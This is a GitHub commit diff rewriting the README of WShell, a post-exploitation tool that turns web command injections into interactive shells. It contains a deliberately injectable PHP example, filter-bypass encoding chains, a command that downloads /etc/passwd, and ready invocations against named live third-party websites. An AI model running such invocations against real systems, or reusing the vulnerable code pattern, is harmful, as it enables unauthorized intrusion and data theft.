Skip to content

Commit b569640

Browse files
committed
chore(docs): rewritten README file to be more readable and less fancy
1 parent 536f481 commit b569640

1 file changed

Lines changed: 89 additions & 122 deletions

File tree

README.md

Lines changed: 89 additions & 122 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,6 @@
1-
<h1 align="center">
2-
WShell
3-
</h1>
1+
<h1 align="center">WShell</h1>
42

5-
<p align="center">
6-
<strong>Turn a web-based command injection into a full-featured, interactive web shell.</strong>
7-
</p>
3+
<p align="center">Turn a web-based command injection into an interactive shell.</p>
84

95
<p align="center">
106
<a href="https://docs.python.org/3/"><img src="https://img.shields.io/badge/python-3-green.svg?style=for-the-badge&logo=python&logoColor=white" alt="Python 3"></a>
@@ -15,62 +11,38 @@
1511

1612
---
1713

18-
WShell is a post-exploitation tool designed to exploit any web-based command injection vulnerability into an interactive and feature-rich pseudo-shell. It provides an agentless, language-agnostic shell that feels like a native terminal, complete with command history, change directory support, file transfers and much more.
19-
20-
## ✨ Key Features
14+
WShell takes a raw command injection point and turns it into something you can actually work with: persistent history, `cd` support, file transfers, and OS-aware behavior, all without uploading anything to the target.
2115

22-
- **Interactive Pseudo-Shell**: Experience a shell with support for commands like `cd` and a persistent command history.
23-
- **Automatic OS Detection**: Automatically identifies the target OS (Linux, Windows CMD, Windows PowerShell) and adjusts its behavior accordingly.
24-
- **Extensible Input/Output Scripts**: Manipulate command payloads and server responses on-the-fly with a chain of scripts (e.g., `base64encode`, `urlencode`, `unescape`, `space2ifs`).
25-
- **Built-in Custom Commands**: Powerful custom commands like `download` and `upload` that abstract away OS-specific complexities for file transfers.
26-
- **Flexible HTTP Configuration**: Full control over HTTP requests, including method, headers, cookies, and body (form-data or JSON).
27-
- **Extensible by Design**: Easily add your own custom commands and scripts to tailor WShell to your needs.
28-
- **Agentless**: No need to upload a separate web shell file; WShell leverages the existing vulnerability.
16+
Point it at a vulnerable endpoint, tell it where to inject, and it handles the rest.
2917

30-
## 🚀 Getting Started
18+
## Installation
3119

32-
### Installation
33-
34-
Install WShell using your favorite Python package manager. `pipx` or `uv` are recommended as they install the tool in an isolated environment.
35-
36-
**With `pipx`:**
20+
`pipx` or `uv` are recommended to keep dependencies isolated:
3721

3822
```shell
23+
# pipx
3924
pipx install git+https://github.com/unlock-security/wshell.git
40-
```
4125

42-
**With `uv`:**
43-
44-
```shell
26+
# uv
4527
uv tool install git+https://github.com/unlock-security/wshell.git
4628
```
4729

48-
### Updating
49-
50-
WShell automatically checks for new versions and eventually upgrade itself on startup. This can be disabled by passing the `--no-update` flag. If you want to include pre-releases in the update check, use `--include-prerelease`.
30+
WShell checks for updates on startup. Pass `--no-update` to skip this, or `--include-prerelease` to track pre-releases.
5131

52-
To upgrade manually, use the appropriate command for your package manager.
32+
## Quick start
5333

54-
### Quick Start
55-
56-
Let's say you've found a command injection vulnerability in a `ping.php` page.
57-
58-
**Vulnerable Code (`ping.php`):**
34+
Say you've found a command injection in a `ping.php` page:
5935

6036
```php
6137
<?php
62-
// ping.php
6338
$host = $_POST['host'];
6439
$count = intval($_GET['count']);
65-
// Insecurely uses user input to build a shell command.
6640
$command = "ping -c {$count} {$host} 2>&1";
6741
echo "<pre>" . shell_exec($command) . "</pre>";
6842
?>
6943
```
7044

71-
To exploit this, you can use `wshell`.
72-
73-
> The placeholder `WSHELL` marks where your commands will be injected.
45+
Use the `WSHELL` placeholder to mark where commands get injected:
7446

7547
```shell
7648
attacker@host:/$ wshell --log=info 'https://www.target.com/ping.php?count=3' 'host=;WSHELL #'
@@ -82,70 +54,74 @@ www-data@target:/var/www/html/$ id
8254
uid=33(www-data) gid=33(www-data) groups=33(www-data)
8355
```
8456

85-
## ⚙️ Usage
57+
WShell detects the target OS (Linux, Windows CMD, or PowerShell) and adjusts behavior accordingly.
8658

87-
The basic syntax is:
59+
## Features
60+
61+
- **No upload required.** Works through the injection point directly — no web shell file needed.
62+
- **`cd` and command history** work as expected across requests.
63+
- **Input/output scripts** let you manipulate payloads and responses in a chain — useful for bypassing filters or decoding output (see [Scripts](#inputoutput-scripts)).
64+
- **`download` and `upload` commands** handle file transfers in chunks and abstract away OS differences.
65+
- **Full HTTP control** — method, headers, cookies, body format (form or JSON), delays, timeouts, redirects, custom User-Agent.
66+
- **Extensible** — add your own scripts and commands without touching core code.
67+
68+
## Usage
8869

8970
```
9071
wshell [OPTIONS] URL [REQUEST_ITEMS...]
9172
```
9273

93-
- `URL`: The vulnerable endpoint.
94-
- `REQUEST_ITEMS`: HTTP headers (`Key: value`) and body parameters (`key=value`) for the request. The `WSHELL` placeholder can be placed in one of these items or in the URL.
95-
96-
### Command-Line Arguments
97-
98-
| Category | Argument | Description | Default |
99-
| ----------- | --------------------------- | ---------------------------------------------------------------------- | ---------------------------------------- |
100-
| **Core** | `URL` | The vulnerable endpoint URL. | (Required) |
101-
| | `REQUEST ITEMS...` | Headers (`Key: value`) and body data (`key=value`). | - |
102-
| | `--os` | Specify the target OS and shell (`linux`, `win-cmd`, `win-psh`). | Auto-detected (send additional requests) |
103-
| | `--placeholder` | The placeholder for command injection. | `WSHELL` |
104-
| | `--prompt` | A custom static prompt for the shell. | (Dynamic prompt based on target OS) |
105-
| **HTTP** | `-m, --method` | HTTP method for requests. | Auto-detected (POST if data, else GET) |
106-
| | `-t, --timeout` | Connection timeout in seconds. Use `--no-timeout` to disable. | `3.0` |
107-
| | `-d, --delay` | Delay in seconds between each request. | `0` |
108-
| | `--data-raw` | Raw data string to be sent (form-urlencoded or JSON). | - |
109-
| | `-j, --json` / `-f, --form` | Serialize body data as JSON (`-j`) or form fields (`-f`). | `--form` |
110-
| | `--keep-alive` | Use a persistent HTTP connection (`--no-keep-alive` to disable). | `True` |
111-
| | `--follow` | Follow 30x redirects (`--no-follow` to disable). | `True` |
112-
| | `-ua, --user-agent` | Set a custom User-Agent. | `WShell X.Y.Z` |
113-
| | `-r, --random-agent` | Use a random User-Agent from a built-in list. | `False` |
114-
| **Scripts** | `--input-scripts` | Comma-separated chain of scripts to process commands _before_ sending. | - |
115-
| | `--output-scripts` | Comma-separated chain of scripts to process the server response. | - |
116-
| | `--list-scripts` | List all available input and output scripts. | - |
117-
| **App** | `--log` | Set logging level (`critical`, `error`, `warning`, `info`, `debug`). | `warning` |
118-
| | `--update` / `--no-update` | Enable or disable the automatic update on startup. | `True` |
119-
| | `--include-prerelease` | Include pre-releases in the update check. | `False` |
120-
| | `-v, --version` | Show the version number and exit. | - |
121-
| | `-h, --help` | Show the help message and exit. | - |
74+
`REQUEST_ITEMS` follows HTTPie-style syntax: `Key: value` for headers, `key=value` for body parameters. The `WSHELL` placeholder can go in any of these or in the URL itself.
75+
76+
### Options
77+
78+
| Category | Argument | Description | Default |
79+
| ----------- | --------------------------- | ---------------------------------------------------------------- | ----------------------------- |
80+
| **Core** | `URL` | The vulnerable endpoint. | (required) |
81+
| | `REQUEST ITEMS...` | Headers (`Key: value`) and body data (`key=value`). ||
82+
| | `--os` | Target OS/shell: `linux`, `win-cmd`, `win-psh`. | Auto-detected |
83+
| | `--placeholder` | Injection placeholder string. | `WSHELL` |
84+
| | `--prompt` | Static prompt string instead of the dynamic one. | (dynamic) |
85+
| **HTTP** | `-m, --method` | HTTP method. | POST if body params, else GET |
86+
| | `-t, --timeout` | Connection timeout in seconds. `--no-timeout` to disable. | `3.0` |
87+
| | `-d, --delay` | Delay between requests, in seconds. | `0` |
88+
| | `--data-raw` | Raw body string (form-urlencoded or JSON). ||
89+
| | `-j, --json` / `-f, --form` | Serialize body as JSON or form fields. | `--form` |
90+
| | `--keep-alive` | Persistent connection. `--no-keep-alive` to disable. | `True` |
91+
| | `--follow` | Follow redirects. `--no-follow` to disable. | `True` |
92+
| | `-ua, --user-agent` | Custom User-Agent string. | `WShell X.Y.Z` |
93+
| | `-r, --random-agent` | Pick a random User-Agent from the built-in list. | `False` |
94+
| **Scripts** | `--input-scripts` | Comma-separated script chain applied to commands before sending. ||
95+
| | `--output-scripts` | Comma-separated script chain applied to server responses. ||
96+
| | `--list-scripts` | Print all available scripts. ||
97+
| **App** | `--log` | Log level: `critical`, `error`, `warning`, `info`, `debug`. | `warning` |
98+
| | `--update` / `--no-update` | Toggle auto-update on startup. | `True` |
99+
| | `--include-prerelease` | Include pre-releases in the update check. | `False` |
100+
| | `-v, --version` | Print version and exit. ||
101+
| | `-h, --help` | Print help and exit. ||
122102

123103
---
124104

125-
## 🔬 Advanced Features
126-
127-
### Input/Output Scripts
105+
## Input/output scripts
128106

129-
Scripts are powerful functions that manipulate the command payload (input scripts) or the server's response (output scripts). This is essential for bypassing filters or decoding responses.
107+
Scripts transform the command payload before it's sent (input scripts) or process the server's response after it's received (output scripts). They're most useful when the target requires encoded input or returns encoded/escaped output.
130108

131-
**Example**: If the vulnerable app requires commands to be base64-encoded and blocks commands containing spaces, you can use a chain of input scripts to match the requirements.
109+
Run them in a comma-separated chain with `--input-scripts` or `--output-scripts`:
132110

133111
```shell
134-
# The command 'ls -la' will be transformed to 'ls${IFS}-la' and base64-encoded before being sent.
112+
# Replace spaces with ${IFS}, then base64-encode — useful for filters that block spaces
135113
wshell --input-scripts=space2ifs,base64encode 'http://example.com/vuln?cmd=WSHELL'
136114
```
137115

138-
To see all available scripts, run:
116+
List all available scripts:
139117

140118
```shell
141119
wshell --list-scripts
142120
```
143121

144-
### Custom Commands
122+
## Built-in commands
145123

146-
WShell supports special custom commands to provide high-level functionality. Type `help -v` in a WShell prompt to see them all.
147-
148-
**Example**: Downloading a file from the target, regardless of the OS.
124+
Type `help -v` at the WShell prompt to see all custom commands. The most useful one out of the box is `download`:
149125

150126
```
151127
victim@vulnerable-server:/var/www/html/$ download -r /etc/passwd -l passwd.txt
@@ -154,37 +130,31 @@ Downloading chunk 3/3
154130
[INFO] File '/etc/passwd' downloaded to 'passwd.txt'
155131
```
156132

157-
This abstracts away the complexity of encoding/decoding files, download large files in chunks or any OS-specific commands and techniques.
158-
159-
## 🛠️ Extending WShell
160-
161-
WShell is built to be extensible. You can easily add your own scripts and commands.
133+
It handles chunking and encoding automatically, regardless of whether you're on Linux or Windows.
162134

163-
### Developing a Script
135+
## Extending WShell
164136

165-
1. Create a Python file in `wshell/scripts/input/` or `wshell/scripts/output/`. The filename becomes the script name.
166-
2. Inside the file, define a function `run(data: str) -> str` with a docstring.
137+
### Adding a script
167138

168-
**Example (`wshell/scripts/input/reverse.py`):**
139+
Create a Python file in `wshell/scripts/input/` or `wshell/scripts/output/`. The filename becomes the script's name. Define a `run(data: str) -> str` function with a docstring.
169140

170141
```python
142+
# wshell/scripts/input/reverse.py
171143
def run(command: str) -> str:
172144
"""Reverses the command string."""
173145
return command[::-1]
174146
```
175147

176-
You can now use `--input-scripts=reverse` from the command line.
148+
Now `--input-scripts=reverse` works.
177149

178-
### Developing a Custom Command
150+
### Adding a custom command
179151

180-
1. Create a Python file in a subdirectory of `wshell/commands/`. The subdirectory defines the command's category in the `help` menu.
181-
2. Create a class that inherits from `wshell.commands.WShellCommandSet` and follows the `cmd2` [Modular Commands](https://cmd2.readthedocs.io/en/stable/features/modular_commands/) guide.
152+
Create a Python file in a subdirectory of `wshell/commands/`. The directory name sets the category shown in `help`. Your class should inherit from `wshell.commands.WShellCommandSet` and follow the [cmd2 modular commands](https://cmd2.readthedocs.io/en/stable/features/modular_commands/) pattern.
182153

183-
WShell provides `self._cmd.injector` to execute commands on the target and `self._dispatch()` to create OS-specific functions.
184-
185-
**Example (`wshell/commands/php/phpinfo.py`):**
154+
Use `self._cmd.injector` to run commands on the target, and `self._dispatch()` to handle OS-specific logic.
186155

187156
```python
157+
# wshell/commands/php/phpinfo.py
188158
import argparse
189159
from cmd2 import with_argparser
190160
from wshell.commands import WShellCommandSet
@@ -195,42 +165,42 @@ class PHPInfoCommandSet(WShellCommandSet):
195165

196166
@with_argparser(_argparser)
197167
def do_phpinfo(self, args) -> None:
198-
"""Creates a file that executes `phpinfo()` in the current directory."""
168+
"""Creates a file that runs phpinfo() in the current directory."""
199169
file_content = "<?php phpinfo();"
200170
self._dispatch("write_file", args.filename, file_content)
201171
self._cmd.poutput(f"PHP info file created at '{args.filename}'")
202172

203-
# Linux implementation
204173
def _linux_write_file(self, filename, content):
205174
self._cmd.injector.execute(f"echo -n '{content}' > {filename}")
206175

207-
# Windows PowerShell implementation
208176
def _win_psh_write_file(self, filename, content):
209177
self._cmd.injector.execute(f"Set-Content -Path '{filename}' -Value '{content}'")
210178

211-
# Windows CMD implementation
212179
def _win_cmd_write_file(self, filename, content):
213180
self._cmd.injector.execute(f"echo {content} > {filename}")
214181
```
215182

216-
The command `phpinfo` will now be available under the `Php` category.
183+
## Some real targets to test with
217184

218-
## 🌍 Real-World Use Cases
185+
These are public, intentionally vulnerable platforms you can use to try WShell without setting anything up:
219186

220187
```sh
221-
# Hack an online shell learning platform (cmdchallenge.com)
222-
wshell --input-scripts=base64encode --output-scripts=unescape --delay=1.5 'https://cmdchallenge.com/c/r' 'cmd=WSHELL' 'slug=create_file'
223-
224-
# Exploit a code execution feature on a learning site (learnshell.org)
225-
wshell --output-scripts=unescape --json 'https://www.learnshell.org/' 'code=WSHELL' 'language=bash'
226-
227-
# Target an online compiler API (onecompiler.com)
228-
wshell --json --output-scripts=unescape 'https://onecompiler.com/api/code/exec' 'properties[language]=bash' 'properties[files][][content]=WSHELL'
188+
# cmdchallenge.com — online shell challenge platform
189+
wshell --input-scripts=base64encode --output-scripts=unescape --delay=1.5 \
190+
'https://cmdchallenge.com/c/r' 'cmd=WSHELL' 'slug=create_file'
191+
192+
# learnshell.org — code execution sandbox
193+
wshell --output-scripts=unescape --json \
194+
'https://www.learnshell.org/' 'code=WSHELL' 'language=bash'
195+
196+
# onecompiler.com — online compiler API
197+
wshell --json --output-scripts=unescape \
198+
'https://onecompiler.com/api/code/exec' \
199+
'properties[language]=bash' \
200+
'properties[files][][content]=WSHELL'
229201
```
230202

231-
## 👨‍💻 Development
232-
233-
Set up the project for local development:
203+
## Local development
234204

235205
```sh
236206
git clone https://github.com/unlock-security/wshell
@@ -240,16 +210,13 @@ source .venv/bin/activate
240210
pip install -e .
241211
```
242212

243-
## 🙌 Contributing
244-
245-
We welcome contributions! Please look through existing [Issues](https://github.com/unlock-security/wshell/issues) and [Pull Requests](https://github.com/unlock-security/wshell/pulls).
246-
If you have a new idea or a bug to report, please create an issue.
213+
## Contributing
247214

248-
[See the Contribution Guide →](https://github.com/unlock-security/wshell/blob/main/CONTRIBUTING.md)
215+
Check the open [Issues](https://github.com/unlock-security/wshell/issues) and [Pull Requests](https://github.com/unlock-security/wshell/pulls) before opening something new. The [contribution guide](https://github.com/unlock-security/wshell/blob/main/CONTRIBUTING.md) has more details.
249216

250-
## 📜 License
217+
## License
251218

252-
This project is licensed under the GPL-3.0 License. See the [LICENSE](https://github.com/unlock-security/wshell/blob/main/LICENSE) file for details.
219+
GPL-3.0. See [LICENSE](https://github.com/unlock-security/wshell/blob/main/LICENSE).
253220

254221
---
255222

0 commit comments

Comments
 (0)